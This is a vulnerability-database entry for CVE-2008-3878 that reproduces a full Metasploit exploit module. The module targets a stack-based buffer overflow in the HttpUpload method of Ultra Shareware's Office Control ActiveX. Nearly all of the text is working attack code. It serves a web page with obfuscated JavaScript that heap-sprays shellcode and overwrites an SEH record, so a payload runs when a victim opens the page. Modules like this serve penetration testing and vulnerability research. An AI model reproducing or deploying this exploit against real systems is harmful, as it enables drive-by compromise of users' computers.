Ultra Shareware Office Control ActiveX HttpUpload Buffer Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType
This module exploits a stack-based buffer overflow in Ultra Shareware's Office Control when processing the 'HttpUpload' method

                                                ##
# $Id: ultraoffice_httpupload.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;Ultra Shareware Office Control ActiveX HttpUpload Buffer Overflow&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a stack-based buffer overflow in Ultra Shareware&#39;s Office
				Control. When processing the &#39;HttpUpload&#39; method, the arguments are concatenated
				together to form a command line to run a bundled version of cURL. If the command
				fails to run, a stack-based buffer overflow occurs when building the error
				message. This is due to the use of sprintf() without proper bounds checking.

				NOTE: Due to input restrictions, this exploit uses a heap-spray to get the payload
				into memory unmodified.
			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;         =&#62; [ &#39;shinnai&#39;, &#39;jduck&#39; ],
			&#39;Version&#39;        =&#62; &#39;$Revision: 10394 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;CVE&#39;, &#39;2008-3878&#39; ],
					[ &#39;OSVDB&#39;, &#39;47866&#39; ],
					[ &#39;BID&#39;, &#39;30861&#39; ],
					[ &#39;URL&#39;, &#39;http://www.exploit-db.com/exploits/6318&#39; ]
				],
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;    =&#62; 4096,
					&#39;BadChars&#39; =&#62; &#34;\x00&#34;,
					# For HttpUpload args: &#34;\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f&#34;,
					&#39;DisableNops&#39; =&#62; true
				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					# Tested with ActiveX v2.0.0.1020 and v2.0.2008.801
					[ &#39;Windows Universal&#39;,
						{
							&#39;Ret&#39; =&#62; 0x0c0c0c0c  # heap sprayed
							# 0x746C15A9 # p/p/r in msls31.dll
							# EEK, Safe SEH! 0x220118c2  # p/p/r in OfficeCtrl.ocx
						}
					],
				],
			&#39;DefaultTarget&#39;  =&#62; 0,
			&#39;DisclosureDate&#39; =&#62; &#39;Aug 27 2008&#39;))
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)

		# ActiveX parameters
		progid = &#34;Ultra.OfficeControl&#34;
		clsid = &#34;00989888-BB72-4E31-A7C6-5F819C24D2F7&#34;

		# Set parameters
		fnname = rand_text_alpha(8+rand(8))
		arg1 = rand_text_alphanumeric(128)
		arg2 = rand_text_alphanumeric(4096) * 10
		seh_offset = 252

		# Build the exploit buffer
		sploit = rand_text_alphanumeric(seh_offset)
		sploit &#60;&#60; generate_seh_record(target.ret)

		# Encode variables
		sploit = Rex::Text.to_hex(sploit, &#39;%&#39;)
		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

		# Prepare the heap spray parameters
		spray_addr = target.ret
		spray_num = &#34;0x%x&#34; % spray_addr

		# Generate the final javascript
		js = %Q|
function #{fnname}()
{
try {
var obj = new ActiveXObject(&#34;#{progid}&#34;);
var my_unescape = unescape;
var shellcode = &#39;#{shellcode}&#39;;
#{js_heap_spray}
sprayHeap(my_unescape(shellcode), #{spray_num}, 0x40000);
var arg1 = my_unescape(&#34;#{arg1}&#34;);
var arg2 = my_unescape(&#34;#{arg2}&#34;);
var sploit = my_unescape(&#34;#{sploit}&#34;);
obj.HttpUpload(arg1, arg2, sploit);
} catch( e ) { window.location = &#39;about:blank&#39; ; }
}
|

		# Obfuscate the javascript
		opts = {
			&#39;Strings&#39; =&#62; true,
			&#39;Symbols&#39; =&#62; {
				&#39;Variables&#39; =&#62; %w{ obj my_unescape shellcode arg1 arg2 sploit }
			}
		}
		js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
		js.obfuscate()

		# Build the final HTML
		content = %Q|&#60;html&#62;
&#60;head&#62;
&#60;script language=javascript&#62;
#{js}
&#60;/script&#62;
&#60;/head&#62;
&#60;body onload=&#34;#{fnname}()&#34;&#62;
Please wait...
&#60;/body&#62;
&#60;/html&#62;
|

		print_status(&#34;Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...&#34;)

		send_response_html(cli, content)

		handler(cli)

	end

end
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1